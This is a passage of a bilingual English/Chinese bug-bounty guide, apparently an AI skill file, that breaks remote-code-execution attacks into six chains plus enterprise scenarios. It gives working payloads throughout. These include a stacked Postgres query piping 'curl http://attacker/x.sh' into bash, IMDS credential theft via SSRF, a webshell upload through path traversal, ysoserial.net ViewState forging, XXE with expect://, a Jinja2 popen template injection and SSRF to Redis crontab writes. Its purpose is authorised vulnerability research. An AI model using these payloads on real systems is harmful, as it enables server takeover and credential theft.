场景A:管理控制台角色→Root Shell(企业服务器) 一名拥有GitHub Enterprise Server实例低权限“管理控制台编辑器”账户的攻击者发现,syslog-ng配置UI接受自由格式的“目标”字段。通过注入包含反向Shell命令的
program()
目标,攻击者使以root身份运行的syslog-ng守护进程在接收日志时执行任意OS命令。相同的攻击面在collectd的exec插件配置和nomad的作业模板渲染中也被独立发现——所有这些都可从同一个编辑器角色访问。影响:完全root级 compromise 托管所有组织源代码、机密和CI/CD流水线的企业Git服务器。
场景B:依赖混淆→构建基础设施上的RCE 一名研究人员通过查看目标CDN端点提供的JavaScript包和属于某大型支付平台的公共GitHub仓库,枚举了内部npm包名。多个
@internal/*
作用域的包被引用但未在公共npm注册表中注册。研究人员发布了同名的更高版本包,其中包含执行金丝雀回调的postinstall脚本。数小时内,回调从目标CI/CD构建农场的多个IP地址触发——确认其构建基础设施上的每个npm安装都会执行攻击者控制的代码。相同技术也适用于某网约车平台的内部工具。影响:在拥有生产部署凭证和签名密钥访问权限的构建服务器上执行任意代码。
场景C:暴露的Kubernetes API→集群接管 在侦察目标云基础设施期间,一名研究人员发现一个公开可访问的Kubernetes API服务器(端口6443),其RBAC权限过于宽松。使用默认服务账户令牌和未认证的API调用,研究人员枚举了运行中的Pod,检索了默认命名空间中的机密(包括数据库凭证和第三方API密钥),并演示了生成具有
hostPID: true
的特权Pod的能力——实现完全节点compromise。该Kubernetes集群管理目标的核心生产服务。影响:访问所有存储的机密,部署恶意工作负载的能力,以及集群中每个服务的横向移动路径。

Chains & Compositions (Senior Hunting)

攻击链与组合(高级狩猎)

RCE in 2020-2026 rarely arrives at a single sink. Every modern RCE is composed of (1) a primitive that puts attacker bytes onto the host or into a deserialization pipeline, plus (2) an exec gadget that interprets them. The chains below decompose six high-paying RCE shapes into their primitive components — each step is testable in isolation, the chain is what pays.
2020-2026年的RCE很少是单一sink导致的。每个现代RCE都由两部分组成:(1)将攻击者字节放入主机或反序列化流水线的原语,以及(2)解释这些字节的执行gadget。以下攻击链将六个高赏金RCE形态分解为原语组件——每个步骤都可单独测试,攻击链才是赏金的关键。

Chain 1 — SSRF + IMDSv1 + Leaked IAM Role → Lambda Invoke → Backend RCE (Capital One pattern)

链1 — SSRF + IMDSv1 + 泄露的IAM角色→Lambda调用→后端RCE(Capital One模式)

  • A. SSRF on a server-side fetcher (link-preview, image proxy, webhook URL, PDF generator). Confirmed via Burp Collaborator OOB callback.
  • B. Point SSRF at AWS IMDSv1 metadata:
    http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
    → returns temporary STS credentials.
  • C. Use the credentials with
    aws lambda invoke --function-name <internal-function>
    — Lambda runs server-side code that the attacker can influence via the function's input parameter.
  • Impact: Full backend RCE in the Lambda context, plus pivot path to whatever else the role grants (S3 / DynamoDB / RDS).
  • Real shape: Capital One 2019 — $80M civil penalty, attacker conviction. SSRF in a WAF on EC2 → IMDSv1 → IAM role → 106M-record breach via S3 sync. Cross-refs
    hunt-ssrf
    Disclosed Report Citation #6.
  • A. 服务器端获取器(链接预览、图片代理、Webhook URL、PDF生成器)上的SSRF。通过Burp Collaborator带外回调确认。
  • B. 将SSRF指向AWS IMDSv1元数据:
    http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
    →返回临时STS凭证。
  • C. 使用凭证执行
    aws lambda invoke --function-name <internal-function>
    ——Lambda运行攻击者可通过函数输入参数影响的服务器端代码。
  • **影响:**Lambda上下文中的完全后端RCE,以及角色授予的其他资源(S3 / DynamoDB / RDS)的横向移动路径。
  • **实际案例:**Capital One 2019——8000万美元民事罚款,攻击者定罪。EC2上WAF中的SSRF→IMDSv1→IAM角色→通过S3同步泄露1.06亿条记录。交叉引用
    hunt-ssrf
    已披露报告引用#6。

Chain 2 — SQLi +
COPY FROM PROGRAM
→ Direct OS-level RCE on Postgres Host

链2 — SQLi +
COPY FROM PROGRAM
→Postgres主机上的直接OS级RCE

  • A. SQLi confirmed on a Postgres backend (boolean/time-based works; UNION not needed).
  • B. The DB user has either
    pg_read_server_files
    or
    COPY
    privileges (default for many AWS RDS / Google Cloud SQL roles when "admin" databases exist).
  • C. Stack a query:
    '; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --
    → Postgres shells out to
    /bin/sh -c <attacker command>
    → RCE as
    postgres
    user.
  • Impact: RCE as the database user, which on managed Postgres frequently has IAM credentials and direct access to other AWS resources.
  • Real shape: Multiple H1 disclosures 2020-2024 across SaaS apps backed by Postgres. Cross-refs
    hunt-sqli
    Disclosed Report Citation #12 and root cause discussion of
    FILE
    /
    xp_cmdshell
    privileges.
  • A. Postgres后端上的SQLi确认(基于布尔/时间的注入有效;无需UNION)。
  • B. DB用户拥有
    pg_read_server_files
    COPY
    权限(当存在“admin”数据库时,许多AWS RDS / Google Cloud SQL角色默认拥有此权限)。
  • C. 堆叠查询:
    '; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --
    →Postgres调用
    /bin/sh -c <attacker command>
    →以
    postgres
    用户身份执行RCE。
  • **影响:**以数据库用户身份执行RCE,在托管Postgres上,该用户通常拥有IAM凭证并可直接访问其他AWS资源。
  • **实际案例:**2020-2024年SaaS应用中多个H1披露,这些应用以Postgres为后端。交叉引用
    hunt-sqli
    已披露报告引用#12以及
    FILE
    /
    xp_cmdshell
    权限的根本原因讨论。

Chain 3 — Image Upload + Path Traversal in Filename + Misconfigured MIME Serving → Webshell

链3 — 图片上传 + 文件名路径遍历 + MIME服务配置错误→Webshell

  • A. File upload accepts images (
    image/png
    ,
    image/jpeg
    ). The server saves with the user-supplied filename or only validates Content-Type, not actual content.
  • B. Upload a
    .aspx
    /
    .jsp
    /
    .php
    file with the correct image magic-bytes (
    GIF89a
    + PHP after) and a filename containing
    ../
    to write outside the upload directory into the web-root (
    ../../../public/webshell.php
    ).
  • C. Request
    https://target/webshell.php?cmd=id
    — server's PHP/ASP.NET handler runs the script regardless of extension policy because the path doesn't pass through the upload-dir filter.
  • Impact: Unauthenticated or low-priv attacker gets webshell on the application server with the web-server's process privileges.
  • Real shape: Multiple disclosed H1 cases on legacy upload handlers; canonical pre-2020 RCE class. Pairs with
    hunt-file-upload
    (upload bypass table) and
    hunt-misc
    path-traversal patterns.
  • A. 文件上传接受图片(
    image/png
    image/jpeg
    )。服务器使用用户提供的文件名保存,或仅验证Content-Type而非实际内容。
  • B. 上传带有正确图片魔术字节(
    GIF89a
    + 后续PHP代码)的
    .aspx
    /
    .jsp
    /
    .php
    文件,文件名包含
    ../
    以将文件写入上传目录之外的Web根目录(
    ../../../public/webshell.php
    )。
  • C. 请求
    https://target/webshell.php?cmd=id
    ——服务器的PHP/ASP.NET处理程序运行脚本,无论扩展名策略如何,因为路径未经过上传目录过滤器。
  • **影响:**未认证或低权限攻击者获得应用服务器上的Webshell,拥有Web服务器进程权限。
  • **实际案例:**遗留上传处理程序上的多个已披露H1案例;2020年前的典型RCE类别。与
    hunt-file-upload
    (上传绕过表)和
    hunt-misc
    路径遍历模式配合使用。

Chain 4 — Prototype Pollution + Lodash/Mongoose Gadget Chain →
child_process.spawn
→ Node RCE

链4 — 原型污染 + Lodash/Mongoose Gadget链→
child_process.spawn
→Node RCE

  • A. Identify prototype pollution sink — JSON merge / Object.assign / lodash
    _.merge
    / Node
    Object.create
    chain receiving attacker JSON.
  • B. Pollute
    Object.prototype.shell
    to
    true
    OR
    Object.prototype.env.NODE_OPTIONS
    to
    --require ./malicious.js
    . The polluted prototype reaches a downstream
    child_process.spawn
    or
    vm.runInThisContext
    .
  • C. Sink executes with attacker-controlled shell/env → attacker code runs in Node.js process context with full access to environment variables, AWS metadata, internal services.
  • Impact: Server-side JS execution from a JSON POST. Common in Express apps using
    body-parser
    +
    lodash.merge
    for config-merging.
  • Real shape:
    lodash.merge
    CVE-2018-16487, CVE-2019-10744, CVE-2020-8203;
    mongoose
    CVE-2024-53900 (cross-refs
    hunt-sqli
    Disclosed Report Citation #10 — same gadget family reaches Mongo
    $where
    instead of process).
  • A. 识别原型污染sink——JSON合并/Object.assign/lodash
    _.merge
    /Node
    Object.create
    链接收攻击者JSON。
  • B.
    Object.prototype.shell
    污染为
    true
    ,或将
    Object.prototype.env.NODE_OPTIONS
    污染为
    --require ./malicious.js
    。被污染的原型到达下游的
    child_process.spawn
    vm.runInThisContext
  • C. Sink使用攻击者控制的shell/env执行→攻击者代码在Node.js进程上下文中运行,完全访问环境变量、AWS元数据和内部服务。
  • **影响:**通过JSON POST执行服务器端JS。在使用
    body-parser
    +
    lodash.merge
    进行配置合并的Express应用中很常见。
  • 实际案例:
    lodash.merge
    CVE-2018-16487、CVE-2019-10744、CVE-2020-8203;
    mongoose
    CVE-2024-53900(交叉引用
    hunt-sqli
    已披露报告引用#10——相同gadget家族到达Mongo
    $where
    而非进程)。

Chain 5 — Unencrypted ViewState + Recovered MachineKey → ASP.NET Deserialization → RCE (ToolShell class)

链5 — 未加密ViewState + 恢复的MachineKey→ASP.NET反序列化→RCE(ToolShell类)

  • A. Identify an ASP.NET endpoint where
    __VIEWSTATEENCRYPTED=""
    (ViewState is signed but not encrypted). Confirm via Burp / curl on form-bearing pages.
  • B. Recover the
    <machineKey>
    validationKey — via config leak (
    /web.config
    accessible), via subdomain takeover of a sibling app sharing the key, or via the CVE-2025-53771 ToolShell exploit chain that exfils the key on Subscription Edition.
  • C. Forge a ViewState using
    ysoserial.net --plugin=ViewState --validationkey=<key>
    with a
    TypeConfuseDelegate
    /
    WindowsIdentity
    payload. Submit to the endpoint. ASP.NET deserialises into a method-call gadget chain ending in
    Process.Start
    → RCE as the worker-process identity.
  • Impact: Full RCE on the IIS web front-end with whatever the AppPool identity grants — often
    NETWORK SERVICE
    (with SharePoint farm-account access) or higher.
  • Real shape: CVE-2025-53770 / 53771 ToolShell (July 2025 emergency advisory); SP2013 unpatched-by-EoL exposure. Cross-refs
    hunt-sharepoint
    ToolShell precondition chain and
    hunt-aspnet
    ViewState dual-parser anti-pattern.
  • A. 识别
    __VIEWSTATEENCRYPTED=""
    的ASP.NET端点(ViewState已签名但未加密)。通过Burp / curl在包含表单的页面上确认。
  • B. 恢复
    <machineKey>
    validationKey——通过配置泄露(
    /web.config
    可访问)、通过共享密钥的兄弟应用子域名接管,或通过CVE-2025-53771 ToolShell利用链在订阅版上泄露密钥。
  • C. 使用
    ysoserial.net --plugin=ViewState --validationkey=<key>
    生成带有
    TypeConfuseDelegate
    /
    WindowsIdentity
    Payload的伪造ViewState。提交到端点。ASP.NET反序列化为方法调用gadget链,最终调用
    Process.Start
    →以工作进程身份执行RCE。
  • **影响:**IIS Web前端上的完全RCE,拥有AppPool身份的权限——通常是
    NETWORK SERVICE
    (拥有SharePoint农场账户访问权限)或更高。
  • **实际案例:**CVE-2025-53770 / 53771 ToolShell(2025年7月紧急公告);SP2013未被EoL补丁修复的暴露情况。交叉引用
    hunt-sharepoint
    ToolShell前置条件链和
    hunt-aspnet
    ViewState双解析反模式。

Chain 6 — XXE + PHP
expect://
Stream Wrapper → Direct RCE on Legacy PHP

链6 — XXE + PHP
expect://
流包装器→遗留PHP上的直接RCE

  • A. XXE confirmed via OOB DTD callback (
    <!ENTITY % x SYSTEM "http://attacker/dtd">
    ).
  • B. Target runs PHP with the
    expect
    extension enabled (rare in 2026, but still present on legacy hosts and some shared-hosting providers).
  • C. Send
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>
    — PHP's stream wrapper executes
    id
    through expect → output returned in entity expansion or via OOB.
  • Impact: RCE as the PHP/web-server user without needing a separate upload or SQLi primitive.
  • Real shape: Rockstar Games emblem editor XXE H1 #347139 (2018, $1,500); Adobe Commerce CosmicSting CVE-2024-34102 (XXE → RCE via crypt-key exfil). Cross-refs
    hunt-xxe
    Disclosed Report Citation #7 and #10.
  • A. 通过带外DTD回调确认XXE(
    <!ENTITY % x SYSTEM "http://attacker/dtd">
    )。
  • B. 目标运行启用
    expect
    扩展的PHP(2026年很少见,但仍存在于遗留主机和部分共享主机提供商)。
  • C. 发送
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>
    ——PHP的流包装器通过expect执行
    id
    →输出在实体扩展或带外返回。
  • **影响:**无需单独的上传或SQLi原语,以PHP/Web服务器用户身份执行RCE。
  • **实际案例:**Rockstar Games徽章编辑器XXE H1 #347139(2018年,1500美元);Adobe Commerce CosmicSting CVE-2024-34102(XXE→通过加密密钥泄露实现RCE)。交叉引用
    hunt-xxe
    已披露报告引用#7和#10。

Operator-level pattern

操作员级模式

Every modern RCE chain has two halves: the bytes get there (SSRF, SQLi, upload, prototype-pollution, ViewState, XXE) and the bytes get interpreted (lambda invoke, COPY PROGRAM, webshell handler, child_process.spawn, deserializer gadget, expect://). Hunt for the first half; the second is usually one of the six above. If your first-half primitive doesn't compose with any of these — pause before submitting. "Could lead to RCE" is Low/Medium; "RCE demonstrated end-to-end" is Critical.
Cross-references:
  • hunt-ssrf
    — Chain 1
  • hunt-sqli
    — Chain 2
  • hunt-file-upload
    — Chain 3
  • hunt-api-misconfig
    (proto-pollution) — Chain 4
  • hunt-sharepoint
    +
    hunt-aspnet
    — Chain 5
  • hunt-xxe
    — Chain 6

每个现代RCE链都有两部分:字节到达目标(SSRF、SQLi、上传、原型污染、ViewState、XXE)和字节被解释(lambda调用、COPY PROGRAM、Webshell处理程序、child_process.spawn、反序列化gadget、expect://)。狩猎第一部分;第二部分通常是上述六种之一。如果你的第一部分原语无法与其中任何一种组合——提交前请暂停。“可能导致RCE”是低/中危;“端到端演示RCE”是严重级别。
交叉引用:
  • hunt-ssrf
    — 链1
  • hunt-sqli
    — 链2
  • hunt-file-upload
    — 链3
  • hunt-api-misconfig
    (原型污染)— 链4
  • hunt-sharepoint
    +
    hunt-aspnet
    — 链5
  • hunt-xxe
    — 链6

Related Skills & Chains

相关技能与攻击链

  • hunt-ssti
    — Template engines that hit
    eval()
    /
    exec()
    /
    os.system()
    are RCE hiding behind a render call. Chain primitive: Jinja2
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    reflected in email-template preview → unauthenticated RCE as the worker process.
  • hunt-file-upload
    — File-write primitives become RCE when the upload directory is web-served, processed by a deserializer, or loaded by a
    .htaccess
    /
    web.config
    . Chain primitive: SVG/PHP polyglot bypasses MIME check → direct
    GET /uploads/shell.php?cmd=id
    → RCE; or DOCX with
    phar://
    stream wrapper → PHP object deserialization → RCE.
  • hunt-ssrf
    — When the RCE primitive lives on an internal-only endpoint (admin console, internal Redis, Jenkins script-console), gate it through an SSRF. Chain primitive: external SSRF →
    http://127.0.0.1:8080/manage/scriptText
    (Jenkins/Tomcat) → Groovy
    Runtime.exec
    → RCE; or SSRF →
    gopher://redis:6379
    write to crontab → RCE.
  • hunt-aspnet
    — ASP.NET ViewState deserialization is a giant RCE class behind a known
    __VIEWSTATE
    parameter. Chain primitive: machineKey recovery (or leaked
    <machineKey>
    from
    web.config
    disclosure) →
    ysoserial.net -p ViewState -g TypeConfuseDelegate
    → RCE as
    IIS APPPOOL\<name>
    .
  • security-arsenal
    — Reach for the deserialization payload tree (ysoserial Java gadget chains, ysoserial.net for .NET ViewState/BinaryFormatter, Python pickle
    __reduce__
    , Ruby Marshal, PHP
    phar://
    metadata, Node
    node-serialize
    IIFE) the moment you have a sink that accepts serialized bytes.
  • triage-validation
    — Apply the Pre-Severity Gate before claiming Critical. A "blind RCE" that turns out to be file-write-only with no execution path is not RCE; a sandboxed eval that can't reach
    os
    is at best Medium SSTI. Prove
    whoami
    /OOB DNS callback with a unique marker before writing the report.
  • hunt-ssti
    — 触发
    eval()
    /
    exec()
    /
    os.system()
    的模板引擎是隐藏在渲染调用后的RCE。链原语:Jinja2
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    在邮件模板预览中反射→未认证RCE,以工作进程身份执行。
  • hunt-file-upload
    — 文件写入原语在上传目录被Web服务、反序列化处理或
    .htaccess
    /
    web.config
    加载时成为RCE。链原语:SVG/PHP多语言文件绕过MIME检查→直接
    GET /uploads/shell.php?cmd=id
    →RCE;或带有
    phar://
    流包装器的DOCX→PHP对象反序列化→RCE。
  • hunt-ssrf
    — 当RCE原语存在于内部仅有的端点(管理控制台、内部Redis、Jenkins脚本控制台)时,通过SSRF突破访问控制。链原语:外部SSRF→
    http://127.0.0.1:8080/manage/scriptText
    (Jenkins/Tomcat)→Groovy
    Runtime.exec
    →RCE;或SSRF→
    gopher://redis:6379
    写入crontab→RCE。
  • hunt-aspnet
    — ASP.NET ViewState反序列化是隐藏在已知
    __VIEWSTATE
    参数后的大型RCE类别。链原语:恢复machineKey(或从
    web.config
    泄露中获取
    <machineKey>
    )→
    ysoserial.net -p ViewState -g TypeConfuseDelegate
    →以
    IIS APPPOOL\<name>
    身份执行RCE。
  • security-arsenal
    — 一旦你拥有接受序列化字节的sink,就使用反序列化Payload树(ysoserial Java gadget链、用于.NET ViewState/BinaryFormatter的ysoserial.net、Python pickle
    __reduce__
    、Ruby Marshal、PHP
    phar://
    元数据、Node
    node-serialize
    IIFE)。
  • triage-validation
    — 在声称严重级别前应用预严重级别门限。被证明仅能写入文件而无执行路径的“盲RCE”不是RCE;无法访问
    os
    的沙箱化eval最多是中危SSTI。撰写报告前,用唯一标记证明
    whoami
    /带外DNS回调。